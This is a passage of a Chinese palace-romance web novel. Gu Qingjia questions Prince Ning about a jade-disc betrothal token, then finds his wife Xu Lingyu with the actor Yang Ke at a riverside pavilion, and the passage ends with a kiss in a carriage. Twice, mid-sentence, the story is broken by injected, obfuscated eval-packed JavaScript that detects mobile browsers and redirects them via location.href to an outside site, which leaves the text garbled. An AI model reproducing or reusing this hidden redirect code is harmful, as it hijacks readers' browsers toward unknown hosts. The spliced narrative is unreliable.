“王叔也觉得,都是我的错?”顾清嘉不可置信地望着宁王,像是被信赖的长辈背叛,眼中满是伤心。 握得发颤的拳,又透出他满满的不甘。 “你没错,可太祖时期便定下规矩,大晋历朝太子,只能是嫡长子,谁让他身份上占尽好处呢。”宁王语气里有种隐晦的怅然。 顾清嘉听着,心内暗哂,他倒要看看,王叔的狐狸尾巴还能藏多久。 “规矩,又是规矩,同是母后所生,凭什么他顾清晏能做储君,能娶王氏之女,我却拼死拼活全是为他做嫁衣,还只能娶卑贱的小官之女做正妃?!”顾清嘉眼睛忍得猩红,透着狠戾,“王叔,你甘心,我却不愿意。待我明年金殿传胪,打他个措手不及,让父皇看到我才是文武全才,定会重新权衡,是把江山交给那个治不好的病秧子,还是交给我。” “你不要命了?小声些!”宁王似是担心他,待自己亲儿子一般轻斥。 他思忖片刻,终是叹道:“罢了,若有一日,你父皇会重新抉择,王叔向着你就是。大晋江山乃太祖趟过尸山血海打下来的,我自然希望千年万年固若金汤。” “谢宁王叔!”顾清嘉紧绷的神情放松下来,难得露出一丝笑,感激地朝宁王拱手。 宁王将他手背压下,故意板起脸:“别着急谢我,我还有正事没问你呢。你与那位许小姐是怎么回事?她父亲只是个小小的县丞,连进士都不是,家世根本配不上你,你怎么会稀里糊涂与那许小姐成亲?于忠查过,说是许小姐在公堂上拿出信物,说你与他自幼定亲,我怎么不记得皇嫂给你定过亲?若定过,又怎会大张旗鼓择选?” 他话未说完,便见顾清嘉的脸色一寸寸阴沉下来。 “什么许小姐,分明是个胡搅蛮缠的野丫头,若非不想暴露身份,让父皇母后知道我在此地,我早揭了她的皮做灯笼!”顾清嘉咬牙切齿,眼中划过一丝阴狠,“离开清江县前,不消了这奇耻大辱,我就不姓顾。” 嗯,他如今姓贾。 他恨恨的情绪,似狼毫笔上饱蘸的浓墨,沉郁到几乎遮天蔽日。 宁王早知他自恃身份,瞧不上身份低微的民间女子。 见他如此,宁王摩挲着袖口精美的金线绣纹,悄然弯唇。 孟茴,若你知道你宝贝女儿的处境,愿意怎样跪下来求我呢? 宁王正陷入思绪,忽而见顾清嘉将一枚断作两半的玉璧,递至他面前。 乍一看,宁王只觉莫名眼熟,没想起来。 直到顾清嘉与他说着话,将其中一块残玉翻转过来,露出雕刻的“辰”字。 “王叔,这便是那野丫头拿来扯谎的所谓信物,婚约自然是假,可说来奇怪,这样的玉璧,我小时候似乎在皇祖父那里见到过差不多的,依稀记得,皇祖父那里有十一枚,各刻着十二时辰里的一个字。” “您瞧,这玉璧上就刻着个辰字。”顾清嘉盯着玉璧,状似随意将玉璧翻转过来,随即自然抬眸,疑惑问,“王叔,您见过这样的玉璧吗?这跟皇祖父那里的玉璧是不是一套?是不是皇祖父何时弄丢,不小心流落民间的?” 更多关于儿时的记忆,瞬间涌入脑海,宁王抬手,极珍视地拿指腹触了触那玉璧,嗓音有些异样的喑哑:“不是,当年你皇祖父把玉璧赏给十二太保时,还没有你呢,也难怪你不认得。” “十二太保?”顾清嘉确实没听人说起过。 许是皇祖父下过禁令,无人敢再提起,时间一长,知道旧事的人老去,便彻底被遗忘在时间的罅隙。 “嗯,十二太保本是开国功臣,外邦献上美玉,你皇祖父便命人将美玉制成十三件玉器,一件便是传国玉玺,其余十二小件,便是十二枚玉璧,你手里这块,唤作辰云,被赐给太保孟云。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14001353|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “后来呢?为何独这一块玉璧流落民间?”顾清嘉扶额想想,“那野丫头的生母和舅舅确实姓孟。” 听他说到许菱玉的生母时,宁王眼神漾起一分不寻常的涟漪。 只是顾清嘉从未想过宁王与孟茴会有任何瓜葛,便没在意。 想到孟茴,想到他们曾失散多年,他无意中与她重逢,孟茴却把他全然忘了,宁愿委身于忠这样微贱的侍卫,也不肯顺从他,宁王心中百年生起酸楚恨意。 “后来,十二太保因争权夺势,互相残杀,甚至想弑杀你皇祖父,取而代之。幸好你皇祖父先下手为强,十一位太保陨灭,玉璧收回,可惜跑了最阴险狡猾的孟云。”宁王望着顾清嘉,语气如常,眼神却少见地含着恨意,“清嘉,若许小姐的外公便是当年的孟云,你定要完成你皇祖父未完成的事,千万别放过孟家任何一个。” 他希望顾清嘉好好折磨许菱玉,最好将他这么多年在孟茴身上尝到的苦痛,尽数加注在许菱玉身上。 许菱玉不过是孟茴与许淳那穷酸县丞生下的孽种罢了,若非当年孟云执意携家眷大隐于市,孟茴本该是他的女人。 从宁王府出来时,天色将暗。 顾清嘉对着夕阳,细细端量他花了近一个时辰才修补好的玉璧,欣慰浅笑。 虽惫懒了些时日,他的手艺到底没荒废。 他自幼喜好不算多,金石算得一样,且小有所成。 只是不知,许菱玉会不会满意? 宁王说的话,他并不尽信。 顾清嘉想不到宁王骗他的理由,但他更相信自己的直觉判断。 幼时皇祖父那落寞的背影,似乎带着思念,但绝没有恨意。 其余十一太保如何,他无从知晓,但许菱玉的外公孟云,应当不是宁王口中的逆臣。 哦,他得寻个机会,问问许菱玉她外公名讳。 快马回到清江县,天色已晚,路上行人不多,夜市一带倒是热闹,不冷不热的春风里,飘散着各样小食混杂的香气。 赶了一两个时辰路,顾清嘉有些饿了,这会子回去,以他穷秀才的身份,总不好劳烦芹姨再备宵食。 “长缨,带马去喂草料,待会儿来夜市。”顾清嘉将马缰递给长缨,交待一声,举步往河边热闹的地带走去。 签子肉烤得滋滋作响,香气四溢,摊位前围着许多食客,催促摊贩快些。 摊贩抓着肩头棉巾摸一把脸上的汗,冲身旁同样忙碌的婆娘道:“炉子不够用啊,我先看着,你去瞧瞧许娘子那边吃好了没有?若好了,就把那炉子收回来,快去快回啊,这么多人等着呢!” “诶!”缠着灰蓝色包头巾的妇人应声,折身往瓦肆靠河的一边走。 “炉子被许娘子借去了?她借炉子做什么?”有食客好奇问。 摊主红光满面笑应:“我原也不知道,来的是她家婢女,给钱大方,就借了。听先头的客人说的,说是许娘子在河边宴客呢。” “宴什么客?”有人掩唇失笑,接过话头,“我和我们当家的刚从河边过来,瞧见许娘子同一位相貌俊朗的郎君在风亭私会呢,有说有笑的。” “什么俊朗郎君?是她家夫君吧,听说生得高大俊朗,风度翩翩,就是出身差些。” “不是,许娘子家秀才郎我见过。”那人笑得意味不明,状似压低声音,却又怕人听不见,“我瞧着,像是戏班子里姓杨的武生,谁不知道许娘子出嫁前就常捧他的场?” “刚成亲就不安分?许娘子也不像那样水性杨花的人啊,你是不是看错了?” “啧,人不可貌相。” 那些人已付了铜板,等摊主给他们烤好的签子肉,便是好奇,也只得等着,不能立时赶去河边验证。 顾清嘉回过神来时,人已在河边,与捧着小炉的妇人错身而过。 他站在墙角切出的暗处,望着不远处风亭里言笑晏晏的许菱玉,以及她对首姿仪英朗的青年男子,齿痕莫名发痒。 27. 凑近 河边垂柳依依,暗流涌动的河面上倒映着一排灯笼光。 暖黄光晕随波浮动,似皎月沉水。 风亭古朴,翘角飞檐被柳枝挡去小半。 许菱玉就坐在那亭中柳荫里,姿态娇俏烂漫。 “你可别骗我,我胆子大,真敢试的。”许菱玉望着石桌对面的男子,语气熟稔,笑意嫣然。 即便看不清她眼神,顾清嘉也能想象,她此刻喜悦的翦瞳必定似盈盈河水般,浮动着星月般的辉光。 成亲前,他便见过她这样的眼神。 那时候,这小老虎口出狂言,对他志在必得。 顾清嘉默默看在眼中,墨翠般的瞳仁愈加深邃,暗流涌动。 方才摊位前的食客说什么来着?哦,与许菱玉私会的男子,乃是戏班子里的武生。 顾清嘉目光往对方身上淡淡扫过,一身布衣,眉宇间不经意的卑微讨好,昭示着对方的身份。 原本以为,许菱玉就算不是看上他这个人,至少对他这副皮囊情有独钟。 他甚至想过,若许菱玉往后还像那晚一般,想要与他亲近,他该怎样回应她,才既像个正常夫君,又不过于亲密,还不让她起疑。 如今看来,倒是他多虑了。 许菱玉根本不止喜欢他一个,性情温和,品貌出众的郎君,都可能入她的眼。 亭中那武生,便是其中之一。 她选了他做夫君,只不过是囿于大晋律法,她只能择其一罢了。 “我胆子大,真敢试的。”她的笑语萦绕耳畔,震得他额角青筋直跳。 她想试什么? 试试家里一个他,外头偷偷养着这俊朗武生? 还是,想与这武生试试,话本子里的那段描述? 白日里,公堂上,他那般护着她,她倒是没心没肺得很,丝毫不受许淳等人影响,日子过得逍遥快活。 换做旁的女子,定不敢行如此离经叛道之举。 可她是许菱玉,敢编造婚约,强嫁“心仪”郎君的许菱玉,顾清嘉深信,没什么是她不敢的。 掉头就走,彼此留些颜面,回去假装什么也不知道? 嗬,即便他假扮的是书生,也是有骨气的书生,他可不会在这样的事上当什么大度原配,受气小媳妇。 “阿玉。”顾清嘉一手负于身后,长指暗暗攥成拳,克制着,状似从容朝风亭走去。 他并未问亭中男子是谁,只是瞥一眼,眼中露出些许惊愕,等着许菱玉向他解释,他倒要看看许菱玉作何解释。 熟悉的声音传来,许菱玉一时没反应过来,以为是自己今日想起秀才的次数太多,出现了幻觉。 可她听到了脚步踩断树枝的声音,感受到周遭光影的细微变化。 杨柯侧首,见一位书生打扮的男子朝他们走来,眉目英隽,气度高华,如鹤步闲庭。 “小姐。”金钿惊呼,语气焦急。 许菱玉察觉到他们的异样,猛然侧眸,盈盈美目刹那间溢出璀璨的惊喜。 “秀才,你怎么来了?”许菱玉捉裙跳起来,因起身太快,腰肢不小心磕着石桌边缘,骤然的痛意令她连连吸气。 杨柯想说什么,未及开口,便见顾清嘉展臂,将大掌覆在许菱玉捂住侧腰的手背上,隔开冷硬石桌。 而他也像石桌一般,显得多余。 “可伤着了?”顾清嘉语气关切,又透出些歉意,“我来接你回家,没想到反而害你受伤。” 许菱玉已缓过劲来,痛意没那般强烈,她冲秀才摇摇头:“其实没那么严重。” 说话间,她松开捂在腰侧的手,欢喜地抓住他衣袖:“你何时回来的?怎会知道我在这里?” 哎呀,她真傻,他定是先回去过,问了芹姨才出来寻她的呀。 诶?可是她似乎只让人告诉芹姨,不必留她和金钿的晚膳,没说人在这里啊。 莫非,她与秀才之间,冥冥中有着与旁人不同的缘分,才会有此默契,叫秀才走到这里来? 一念生,许菱玉心中腾起丝丝甜蜜。 金钿早已急得不行,小姐啊,这是重点吗?您还不赶紧解释解释与杨公子的关系?! 大抵是主仆间的默契,许菱玉后知后觉想起,亭中还有个被冷落的杨柯。 不等顾清嘉回应,她扭头望向已起身的杨柯,大大方方引荐:“这位是杨柯杨公子,戏班里最好的短打武生,也是我最喜欢的武生。” “喜欢”二字,听得顾清嘉与杨柯眼皮俱是一跳。 “许娘子过誉,杨某愧不敢当。”杨柯说着,朝顾清嘉拱手见礼,将所有真实情绪敛起。 顾清嘉轻嗯一声,算是还礼。 随即,一手将掌心扶在许菱玉疑似受伤的腰侧,另一条手臂自然地绕过她脊背,揽在她肩头,温声道:“娘子,我们回家吧,好看看你的伤势如何。” 杨柯听着,眉心微动,夫君为娘子验看伤势,乃是天经地义的事,也是极为亲密的举动。 贾秀才既然如此说,便是不避讳与许娘子亲近,可先前许娘子描述的他,又并非如此。 许娘子找他解惑,自然没必要对他撒谎。 双方客气告辞,杨柯凝着他们相携而去的背影,思绪忽而豁然开朗。 贾秀才对他的存在,表现得漫不经心,实则,极为在意吧? 若许娘子也瞧出来,她以为的所有难题,便都迎刃而解了。 可惜,许菱玉根本没看出来。 走出一段,遇上正在人群里四下张望的长缨。 顾清嘉吩咐他去租辆马车,在街市外开阔的地方等着。 他自己则扶着许菱玉,慢慢走在街市上。 金钿为不打扰他们说话,与许菱玉说一声,便快步追上长缨。 长缨摸不着头脑,等拉开些距离,才忍不住问金钿:“都这时辰了,你和少奶奶怎的还没回去,还与公子遇上了,真是巧。” 巧?谁说不是呢,巧得让人想哭。 金钿这会子笑得比哭还难看:“哎呀,主子们的事,你别多问。” 长缨茫然,他问什么不该问的了? 人群里,顾清嘉扶着许菱玉,时而侧身或是展臂,挡开拥挤的路人,以免挤到许菱玉,伤势加重。 许菱玉看在眼中,眼瞳浸润在脉脉欢喜中。 当贾秀才再度侧身,护她周全,许菱玉蓦然忆起今日公堂上的一幕。 可现下人多,不便说私房话,她抿抿唇,忍下了。 坐进马车,顾清嘉才发现,许菱玉手里一直拿着一只怪面具。 “这是什么?”他目光落在她裙面上。 许菱玉正想说白日的事,被他问得一愣:“啊?” 她低头一看,手里还抓着武生面具。 “你说这个?”她拿起来,递到顾清嘉面前,“杨柯送的,说是送我的新婚贺礼,还是他亲手画的,你瞧,是不是很生动有趣?” 她毫不避讳地将面具展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14014561|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示给他看,眼神清澈,光明磊落。 顾清嘉反倒疑惑了。 许菱玉若是与那武生有什么,到底是有多轻贱他,才会当着他的面,毫不迟疑地夸赞那人? 她或许离经叛道些,可顾清嘉隐隐觉得,她不是会无缘无故践踏旁人的性子。 她待芹姨、金钿,甚至长缨,都很好,没道理轻贱他。 “画得不错。”顾清嘉接过面具,轻赞。 可不知怎的,他心里仍隐隐不适,他并不希望许菱玉珍藏这张面具。 “既是新婚贺礼,便不是送你一人的,且这面具也不适合女子戴,阿玉送我如何?”顾清嘉将面具扣在脸上,拭了拭。 许菱玉不得不承认,他说得很有道理。 “那边送你吧。今日公堂上,你那般护着我,我本就该送你些什么,表达谢意的。”许菱玉顺口道。 可说完她便后悔不跌,多好的与秀才拉近关系的借口啊,她怎么就这样浪费了?! 嘴上说谢他,却是借花献佛,拿旁人的东西敷衍他。 秀才会不会以为,她只是嘴上客气啊? 顾清嘉也后悔,早知她还惦记着白日的事,想要谢他,他岂会收这劳什子做谢礼? 这会子,面具抓在手里,收也不是,丢也不是。 顾清嘉将面具攥紧了些,温声问:“你与那杨公子认识多久了?很熟吗?” “若我说,今日之前,只见过他在台上的扮相,你觉着我们熟吗?”许菱玉说着,自顾自摇摇头,“根本不熟啊,所以他送这面具时,我还很诧异,没想到他这般重礼数。你们这些男子,有时真让人捉摸不透。” 许菱玉姣好的芙蓉面上,露出困惑神色。 她捉摸不透,顾清嘉却品出些异样滋味。 看来他先前想岔了,许菱玉待那位杨公子,根本不是他想象中的倾慕。 但那位杨公子对许菱玉,只怕别有用心。 再看看手中面具,顾清嘉很庆幸,自己将这面具抢了来。 至于杨柯的心思,他不会提醒许菱玉分毫。 “什么叫我们这些男子,连我也是么?”顾清嘉将面具放到身侧,浅笑问。 当然是了,否则她今晚问杨柯那么多问题做什么? 那些疑问,她差不多已找到解决的方法,不必再告诉秀才。 再说,她本就是要拿下秀才的,怎好意思告诉他?! “不告诉你。”许菱玉腰肢一扭,侧过身,神神秘秘又得意。 可刚扭过去,牵扯到侧腰,她忽而哎哟一声捂住痛处。 “你呀。”顾清嘉无奈摇头。 他躬身,想坐到许菱玉身侧,好扶住她。 哪知,车轮碾过一块凸起的青石,狠狠颠簸一下,顾清嘉身形猛地一晃。 他弓着身形,一手撑在许菱玉身侧的车壁上,一手握住许菱玉手臂,替她稳住身形。 许菱玉也惊着了,下意识揪住他衣襟。 须臾,马车平稳下来。 许菱玉抬眸,撞进那双墨翠般漆邃的眼,惊觉他们离得如此之近。 蓦地,今夜风亭中让她受用的对话,在脑海中疯狂涌动。 机不可失,时不再来。 许菱玉未加思索,不想退路,凭着一腔本能的冲动,忽而倾身,凑近顾清嘉。 柔软唇瓣猝然贴上顾清嘉轻抿的薄唇。 顾清嘉瞳孔骤缩,不可置信地盯着近在咫尺的轻狂少女。